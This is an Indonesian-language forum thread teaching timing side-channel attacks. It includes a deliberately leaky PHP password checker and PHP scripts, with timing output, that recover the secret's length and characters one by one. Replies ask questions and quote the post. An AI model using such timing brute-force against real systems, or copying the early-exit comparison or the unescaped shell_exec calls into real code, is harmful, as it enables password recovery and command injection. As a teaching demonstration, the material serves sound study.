Timing Side Channel Attack
#1
yak. kembali lagi dengan saya yang telah lama vakum gara gara ujian juga sih. doain ts lulus yah dg nilai terbaik.amiinn.

okeh, lets go underground again. kali ini saya ingin sedikit keluar topik backtrack/kali, namun masih membahas mengenai attacking. metode attack yang saya bahas disini adalah "time side channel attack". time side channel attack merupakan bagian dari keluarga side channel attack. side channel attack merupakan metode memanfaatkan efek samping yang telah diakibatkan suatu proses.

analoginya, apabila kita melakukan sesuatu yang berat, pasti tubuh kita akan mengeluarkan:

-keringat
-merasa lelah
-baju lusuh

nah... dengan faktor tersebut, kita dapat menebak pekerjaan apa yang telah dilakukan. sama seperti komputer, setiap kegiatan komputer akan memiliki efek samping juga ketika melakukan hal berat seperti:

-panas
-loading lama
-cpu tinggi
-kipas muter lebih cepat

programmer pasti menginginkan programnya berjalan dengan cepat untuk menyenangkan pengguna aplikasinya. padahal dari situlah sebuah kelemahan suatu program muncul.

sebagai contoh saya buatkan program untuk mencocokan string seperti dibawah ini. string pertama merupakan input dari kita, kemudian string ke dua merupakan bawaan dimana string ke 2 adalah yang akan kita tebak dengan metode time side channel attack.

sudah pasti komputer membutuhkan waktu untuk memproses walaupun dalam satuan nano sekon. apabila suatu tebakan benar, maka komputer akan melakukan kalkulasi lebih lama. contohnya source php berikut.
app.php
PHP Code:
<?php
    $inp 
$argv[1];
    
$pass "rahasia";
    function 
compare($str1,$str2){
        if(
strlen($str1) != strlen($str2)) {
            return 
0;
        }
        
usleep(99999);
        for(
$i 0;$i strlen($str2);$i++){
            
usleep(99999);
            if(
$str2[$i] != $str1[$i]) return 0;
        }
        return 
1;
    }
    echo 
compare($inp,$pass);
?>

(maaf karena php tidak support untuk mencari nilai waktu dalam nanosecond, saya memberi delay untuk beberapa proses dalam microsecond)

bagi yang nggak ngerti, begini konsep untuk mengecek string apakah sama atau tidak.
- pertama yang dilakukan adalah melakukan pengecekan panjang string. apabila udah nggak sama panjangnya, ngapain diterusin Big Grin
- kedua yang dilakukan adalah melakukan pengecekan karakter per karakter. apabila karakter pertama salah, ngapain juga lagi diterusin.

nah. sudah saya katakan bahwa dalam pengecekan tersebut pasti memerlukan waktu. perbedaan waktu tersebut yang akan memberitahu kita mana karakter yang benar

berdasarkan source di atas, yang di cek pertama adalah panjang kata. maka dari itu kita perlu melakukan pengecekan. saya membuat skrip pengecekan saya sendiri:

caripanjang.php
PHP Code:
<?php
    
function get_micro_time(){
        
$t explode(" ",microtime());
        list(
$sec,$micro) = $t;
        return (float)
$sec+(float)$micro;
    }
    
$len $argv[1];
    for(
$i 1;$i <= $len;$i++){
        
$c "";
        for(
$j 0;$j $i;$j++){
            
$c $c.$i;
        }
        
$t1 get_micro_time();
        
shell_exec("php app.php ".$c);
        
$t2 get_micro_time();
        echo (
$t2-$t1)." -> ".$c."\n";
    }
?>

untuk percobaan, saya menggunakan panjang 9 karakter dah hasilnya seperti ini :

Code:
root@alkaaf:/home/www/timechannel# php caripanjang.php 9
0.082874774932861 -> 1
0.081299781799316 -> 22
0.079504013061523 -> 333
0.077033042907715 -> 4444
0.086961984634399 -> 55555
0.077758073806763 -> 666666
0.28142309188843 -> 7777777       <--- TERSANGKA
0.081948041915894 -> 88888888
0.075654029846191 -> 999999999

yup, sekarang kita telah mengetahui bahwa panjang kata yang akan ditebak adalah 7 karakter karena memiliki perbedaan waktu pemrosesan yang lebih lama daripada yang lain.

ini akan memudahkan kita untuk melakukan pencarian berikutnya yaitu karakter pertama dalam password

nah. karena sudah mengetahui panjang pertama, maka selanjutnya adalah menebak karakter per karakter karena untuk mencocokkan string, dilakukan perkarakter.

untuk melakukan pencocokan perkarakter, kita tidak bisa langsung mencoba karakter "a" untuk mendapatkan waktu pemrosesannya karena panjang string tidak sesuai. maka dari itu kita akan mengganjalnya dengan karakter tambahan sementara untuk melengkapi panjang stringnya. contohnya "a######", "b######", dst. berikut ini source yang saya buat untuk brute attacknya:

PHP Code:
<?php
    $word 
"abcdefghijklmnopqrstuvwxyz";
    
$inp $argv[2];
    
$len $argv[1];
    
$lenpager $len strlen($inp) -1;
    
$pager "";
    for(
$j 0;$j $lenpager;$j++){
        
$pager $pager."#";
    }
    function 
get_micro_time(){
        
$t explode(" ",microtime());
        list(
$sec,$micro) = $t;
        return (float)
$sec+(float)$micro;
    }
    for(
$i 0;$i 26;$i++){
        
$t1 get_micro_time();
        
shell_exec("php app.php ".$inp.$word[$i].$pager);
        
$t2 get_micro_time();
        echo 
$inp.$word[$i].$pager." : ".($t2-$t1)."\n";
    }
?>

yang kita lakukan adalah menebak karakter pertama. berikut ini hasilnya:

Code:
root@alkaaf:/home/www/timechannel# php brute-time.php 7
PHP Notice:  Undefined offset: 2 in /home/www/timechannel/brute-time.php on line 3
a###### : 0.27584385871887
b###### : 0.28043007850647
c###### : 0.28496813774109
d###### : 0.27997016906738
e###### : 0.28807091712952
f###### : 0.29654693603516
g###### : 0.28483390808105
h###### : 0.28226804733276
i###### : 0.2778959274292
j###### : 0.28335189819336
k###### : 0.2821671962738
l###### : 0.28135991096497
m###### : 0.28314089775085
n###### : 0.28394389152527
o###### : 0.28054308891296
p###### : 0.27739715576172
q###### : 0.28716206550598
r###### : 0.39056706428528    <<------ TERSANGKA
s###### : 0.27992510795593
t###### : 0.28078103065491
u###### : 0.28628897666931
v###### : 0.28024792671204
w###### : 0.29094386100769
x###### : 0.2795729637146
y###### : 0.27547597885132
z###### : 0.28109002113342

nah, karakter pertama udah ketemu yaitu "r". tinggal karakter ke 2

Code:
root@alkaaf:/home/www/timechannel# php brute-time.php 7 r
ra##### : 0.47833395004272    <<----- TERSANGKA
rb##### : 0.40791201591492
rc##### : 0.38249802589417
rd##### : 0.38005089759827
re##### : 0.38511681556702
rf##### : 0.38718295097351
rg##### : 0.3903501033783
rh##### : 0.38032817840576
ri##### : 0.38157510757446
rj##### : 0.39128994941711
rk##### : 0.38188195228577
rl##### : 0.38464212417603
rm##### : 0.37942290306091
rn##### : 0.38373589515686
ro##### : 0.39042592048645
rp##### : 0.38971590995789
rq##### : 0.38405990600586
rr##### : 0.38338899612427
rs##### : 0.3813328742981
rt##### : 0.40877890586853
ru##### : 0.37906312942505
rv##### : 0.38247895240784
rw##### : 0.3821108341217
rx##### : 0.38172698020935
ry##### : 0.37936902046204
rz##### : 0.38004016876221

ketemu, 2 kata adalah "ra". karakter ke 3

Code:
root@alkaaf:/home/www/timechannel# php brute-time.php 7 ra
raa#### : 0.47731995582581
rab#### : 0.47826600074768
rac#### : 0.48658108711243
rad#### : 0.49518013000488
rae#### : 0.48862504959106
raf#### : 0.48705291748047
rag#### : 0.48998308181763
rah#### : 0.57845902442932   <<--- woh, gede banget
rai#### : 0.48458218574524
raj#### : 0.48286104202271
rak#### : 0.4929621219635
ral#### : 0.48207807540894
ram#### : 0.48041796684265
ran#### : 0.48514890670776
rao#### : 0.48417901992798
rap#### : 0.47461104393005
raq#### : 0.4968249797821
rar#### : 0.48179197311401
ras#### : 0.48262786865234
rat#### : 0.48395085334778
rau#### : 0.48754405975342
rav#### : 0.48054599761963
raw#### : 0.48602986335754
rax#### : 0.47678589820862
ray#### : 0.4792468547821
raz#### : 0.48427391052246

nuh ketemu 3 huruf depan yaitu "rah", selanjutnya yang ke 4

Code:
root@alkaaf:/home/www/timechannel# php brute-time.php 7 rah
raha### : 0.67808604240417 <<---- lanjutin sendiri yak.
rahb### : 0.58483290672302
rahc### : 0.58518385887146
rahd### : 0.58408308029175
rahe### : 0.58089303970337
rahf### : 0.58365607261658
rahg### : 0.5933210849762
rahh### : 0.58251118659973
rahi### : 0.58131313323975
rahj### : 0.59330105781555
rahk### : 0.58445811271667
rahl### : 0.58063411712646
...
(terusin sendiri yah)

nah,,mudah kan, udah ketemu 4 karakter awal yaitu "raha"? yup emang kita harus menguasai sedikit mengenai pemrograman agar dapat melakukan segalanya dengan mudah dan otomatis Big Grin.
oh ya untuk selalu diingat. waktu proses bervariasi karena dipengaruhi banyak faktor. maka dari itu kita perlu melakukannya berkali kali untuk mendapat hasil yang terbaik. Big Grin

cukup sampe disiini aja yah. takut kepanjangan dimarahin momod ntar. semoga bermanfaat
:-bd

#2
passwordnya rahasia Big Grin . wkwkwkww ...
oiya berarti itu dicari nilai yang terbesarnya yah om? Sad
Jangan Makan Tulang Kawan | Kurawa |

#3
get_micro time fungsinya buat apa om Big Grin

#4
(04-25-2013, 03:01 PM)DoctoroL Wrote: passwordnya rahasia Big Grin . wkwkwkww ...
oiya berarti itu dicari nilai yang terbesarnya yah om? Sad

ngga selalu terbesar bro. liat source code pemrogramannya. biasanya yang tepat dicari yang memiliki beda/selisih yang cukup signifikan. ky di atas, karena proses penyamaan lebih panjang apabila string sama, maka dari itu membutuhkan waktu lebih lama juga. Big Grin

(04-25-2013, 03:14 PM)orochimadit Wrote: get_micro time fungsinya buat apa om Big Grin

itu fungsi buat sendiri bro buat dapetin waktu microsecond. itu dipake buat nyari waktu eksekusi. makanya eksekusi program diapit oleh dua fungsi get_micro_time tadi kemudian mencari selisih keduanya.Smile

#5
(04-25-2013, 09:19 AM)alkaaf Wrote: yak. kembali lagi dengan saya yang telah lama vakum gara gara ujian juga sih. doain ts lulus yah dg nilai terbaik.amiinn.

okeh, lets go underground again. kali ini saya ingin sedikit keluar topik backtrack/kali, namun masih membahas mengenai attacking. metode attack yang saya bahas disini adalah "time side channel attack". time side channel attack merupakan bagian dari keluarga side channel attack. side channel attack merupakan metode memanfaatkan efek samping yang telah diakibatkan suatu proses.

analoginya, apabila kita melakukan sesuatu yang berat, pasti tubuh kita akan mengeluarkan:

-keringat
-merasa lelah
-baju lusuh

nah... dengan faktor tersebut, kita dapat menebak pekerjaan apa yang telah dilakukan. sama seperti komputer, setiap kegiatan komputer akan memiliki efek samping juga ketika melakukan hal berat seperti:

-panas
-loading lama
-cpu tinggi
-kipas muter lebih cepat

programmer pasti menginginkan programnya berjalan dengan cepat untuk menyenangkan pengguna aplikasinya. padahal dari situlah sebuah kelemahan suatu program muncul.

sebagai contoh saya buatkan program untuk mencocokan string seperti dibawah ini. string pertama merupakan input dari kita, kemudian string ke dua merupakan bawaan dimana string ke 2 adalah yang akan kita tebak dengan metode time side channel attack.

sudah pasti komputer membutuhkan waktu untuk memproses walaupun dalam satuan nano sekon. apabila suatu tebakan benar, maka komputer akan melakukan kalkulasi lebih lama. contohnya source php berikut.
app.php
PHP Code:
<?php
    $inp 
$argv[1];
    
$pass "rahasia";
    function 
compare($str1,$str2){
        if(
strlen($str1) != strlen($str2)) {
            return 
0;
        }
        
usleep(99999);
        for(
$i 0;$i strlen($str2);$i++){
            
usleep(99999);
            if(
$str2[$i] != $str1[$i]) return 0;
        }
        return 
1;
    }
    echo 
compare($inp,$pass);
?>

(maaf karena php tidak support untuk mencari nilai waktu dalam nanosecond, saya memberi delay untuk beberapa proses dalam microsecond)

bagi yang nggak ngerti, begini konsep untuk mengecek string apakah sama atau tidak.
- pertama yang dilakukan adalah melakukan pengecekan panjang string. apabila udah nggak sama panjangnya, ngapain diterusin Big Grin
- kedua yang dilakukan adalah melakukan pengecekan karakter per karakter. apabila karakter pertama salah, ngapain juga lagi diterusin.

nah. sudah saya katakan bahwa dalam pengecekan tersebut pasti memerlukan waktu. perbedaan waktu tersebut yang akan memberitahu kita mana karakter yang benar

berdasarkan source di atas, yang di cek pertama adalah panjang kata. maka dari itu kita perlu melakukan pengecekan. saya membuat skrip pengecekan saya sendiri:

caripanjang.php
PHP Code:
<?php
    
function get_micro_time(){
        
$t explode(" ",microtime());
        list(
$sec,$micro) = $t;
        return (float)
$sec+(float)$micro;
    }
    
$len $argv[1];
    for(
$i 1;$i <= $len;$i++){
        
$c "";
        for(
$j 0;$j $i;$j++){
            
$c $c.$i;
        }
        
$t1 get_micro_time();
        
shell_exec("php app.php ".$c);
        
$t2 get_micro_time();
        echo (
$t2-$t1)." -> ".$c."\n";
    }
?>

untuk percobaan, saya menggunakan panjang 9 karakter dah hasilnya seperti ini :

Code:
root@alkaaf:/home/www/timechannel# php caripanjang.php 9
0.082874774932861 -> 1
0.081299781799316 -> 22
0.079504013061523 -> 333
0.077033042907715 -> 4444
0.086961984634399 -> 55555
0.077758073806763 -> 666666
0.28142309188843 -> 7777777       <--- TERSANGKA
0.081948041915894 -> 88888888
0.075654029846191 -> 999999999

yup, sekarang kita telah mengetahui bahwa panjang kata yang akan ditebak adalah 7 karakter karena memiliki perbedaan waktu pemrosesan yang lebih lama daripada yang lain.

ini akan memudahkan kita untuk melakukan pencarian berikutnya yaitu karakter pertama dalam password

nah. karena sudah mengetahui panjang pertama, maka selanjutnya adalah menebak karakter per karakter karena untuk mencocokkan string, dilakukan perkarakter.

untuk melakukan pencocokan perkarakter, kita tidak bisa langsung mencoba karakter "a" untuk mendapatkan waktu pemrosesannya karena panjang string tidak sesuai. maka dari itu kita akan mengganjalnya dengan karakter tambahan sementara untuk melengkapi panjang stringnya. contohnya "a######", "b######", dst. berikut ini source yang saya buat untuk brute attacknya:

PHP Code:
<?php
    $word 
"abcdefghijklmnopqrstuvwxyz";
    
$inp $argv[2];
    
$len $argv[1];
    
$lenpager $len strlen($inp) -1;
    
$pager "";
    for(
$j 0;$j $lenpager;$j++){
        
$pager $pager."#";
    }
    function 
get_micro_time(){
        
$t explode(" ",microtime());
        list(
$sec,$micro) = $t;
        return (float)
$sec+(float)$micro;
    }
    for(
$i 0;$i 26;$i++){
        
$t1 get_micro_time();
        
shell_exec("php app.php ".$inp.$word[$i].$pager);
        
$t2 get_micro_time();
        echo 
$inp.$word[$i].$pager." : ".($t2-$t1)."\n";
    }
?>

yang kita lakukan adalah menebak karakter pertama. berikut ini hasilnya:

Code:
root@alkaaf:/home/www/timechannel# php brute-time.php 7
PHP Notice:  Undefined offset: 2 in /home/www/timechannel/brute-time.php on line 3
a###### : 0.27584385871887
b###### : 0.28043007850647
c###### : 0.28496813774109
d###### : 0.27997016906738
e###### : 0.28807091712952
f###### : 0.29654693603516
g###### : 0.28483390808105
h###### : 0.28226804733276
i###### : 0.2778959274292
j###### : 0.28335189819336
k###### : 0.2821671962738
l###### : 0.28135991096497
m###### : 0.28314089775085
n###### : 0.28394389152527
o###### : 0.28054308891296
p###### : 0.27739715576172
q###### : 0.28716206550598
r###### : 0.39056706428528    <<------ TERSANGKA
s###### : 0.27992510795593
t###### : 0.28078103065491
u###### : 0.28628897666931
v###### : 0.28024792671204
w###### : 0.29094386100769
x###### : 0.2795729637146
y###### : 0.27547597885132
z###### : 0.28109002113342

nah, karakter pertama udah ketemu yaitu "r". tinggal karakter ke 2

Code:
root@alkaaf:/home/www/timechannel# php brute-time.php 7 r
ra##### : 0.47833395004272    <<----- TERSANGKA
rb##### : 0.40791201591492
rc##### : 0.38249802589417
rd##### : 0.38005089759827
re##### : 0.38511681556702
rf##### : 0.38718295097351
rg##### : 0.3903501033783
rh##### : 0.38032817840576
ri##### : 0.38157510757446
rj##### : 0.39128994941711
rk##### : 0.38188195228577
rl##### : 0.38464212417603
rm##### : 0.37942290306091
rn##### : 0.38373589515686
ro##### : 0.39042592048645
rp##### : 0.38971590995789
rq##### : 0.38405990600586
rr##### : 0.38338899612427
rs##### : 0.3813328742981
rt##### : 0.40877890586853
ru##### : 0.37906312942505
rv##### : 0.38247895240784
rw##### : 0.3821108341217
rx##### : 0.38172698020935
ry##### : 0.37936902046204
rz##### : 0.38004016876221

ketemu, 2 kata adalah "ra". karakter ke 3

Code:
root@alkaaf:/home/www/timechannel# php brute-time.php 7 ra
raa#### : 0.47731995582581
rab#### : 0.47826600074768
rac#### : 0.48658108711243
rad#### : 0.49518013000488
rae#### : 0.48862504959106
raf#### : 0.48705291748047
rag#### : 0.48998308181763
rah#### : 0.57845902442932   <<--- woh, gede banget
rai#### : 0.48458218574524
raj#### : 0.48286104202271
rak#### : 0.4929621219635
ral#### : 0.48207807540894
ram#### : 0.48041796684265
ran#### : 0.48514890670776
rao#### : 0.48417901992798
rap#### : 0.47461104393005
raq#### : 0.4968249797821
rar#### : 0.48179197311401
ras#### : 0.48262786865234
rat#### : 0.48395085334778
rau#### : 0.48754405975342
rav#### : 0.48054599761963
raw#### : 0.48602986335754
rax#### : 0.47678589820862
ray#### : 0.4792468547821
raz#### : 0.48427391052246

nuh ketemu 3 huruf depan yaitu "rah", selanjutnya yang ke 4

Code:
root@alkaaf:/home/www/timechannel# php brute-time.php 7 rah
raha### : 0.67808604240417 <<---- lanjutin sendiri yak.
rahb### : 0.58483290672302
rahc### : 0.58518385887146
rahd### : 0.58408308029175
rahe### : 0.58089303970337
rahf### : 0.58365607261658
rahg### : 0.5933210849762
rahh### : 0.58251118659973
rahi### : 0.58131313323975
rahj### : 0.59330105781555
rahk### : 0.58445811271667
rahl### : 0.58063411712646
...
(terusin sendiri yah)

nah,,mudah kan, udah ketemu 4 karakter awal yaitu "raha"? yup emang kita harus menguasai sedikit mengenai pemrograman agar dapat melakukan segalanya dengan mudah dan otomatis Big Grin.
oh ya untuk selalu diingat. waktu proses bervariasi karena dipengaruhi banyak faktor. maka dari itu kita perlu melakukannya berkali kali untuk mendapat hasil yang terbaik. Big Grin

cukup sampe disiini aja yah. takut kepanjangan dimarahin momod ntar. semoga bermanfaat
:-bd


idih keren Big Grin makasih bro sharenya

#6
mirip sama yang http://www.ilmuhacking.com/cryptography/...el-attack/, tapi disini pake c++, di trid ini pake php :v

#7
(04-26-2013, 10:40 AM)Udalah Wrote: mirip sama yang /cryptography/timing-side-channel-attack/, tapi disini pake c++, di trid ini pake php :v

Wah bro sering maen kesitu jg?

Hehe maaf ni jg bljr dr situ n pngen share sesuai kmampuan ane sndiri. Maap ne kl d kira jiplak.

(04-26-2013, 10:40 AM)Udalah Wrote: mirip sama yang /cryptography/timing-side-channel-attack/, tapi disini pake c++, di trid ini pake php :v

Wah bro sering maen kesitu jg?

Hehe maaf ni jg bljr dr situ n pngen share sesuai kmampuan ane sndiri. Maap ne kl d kira jiplak.

#8
(04-26-2013, 08:32 PM)alkaaf Wrote:
(04-26-2013, 10:40 AM)Udalah Wrote: mirip sama yang /cryptography/timing-side-channel-attack/, tapi disini pake c++, di trid ini pake php :v

Wah bro sering maen kesitu jg?

Hehe maaf ni jg bljr dr situ n pngen share sesuai kmampuan ane sndiri. Maap ne kl d kira jiplak.

(04-26-2013, 10:40 AM)Udalah Wrote: mirip sama yang /cryptography/timing-side-channel-attack/, tapi disini pake c++, di trid ini pake php :v

Wah bro sering maen kesitu jg?

Hehe maaf ni jg bljr dr situ n pngen share sesuai kmampuan ane sndiri. Maap ne kl d kira jiplak.

berbagi itu indah Big Grin






Users browsing this thread: 1 Guest(s)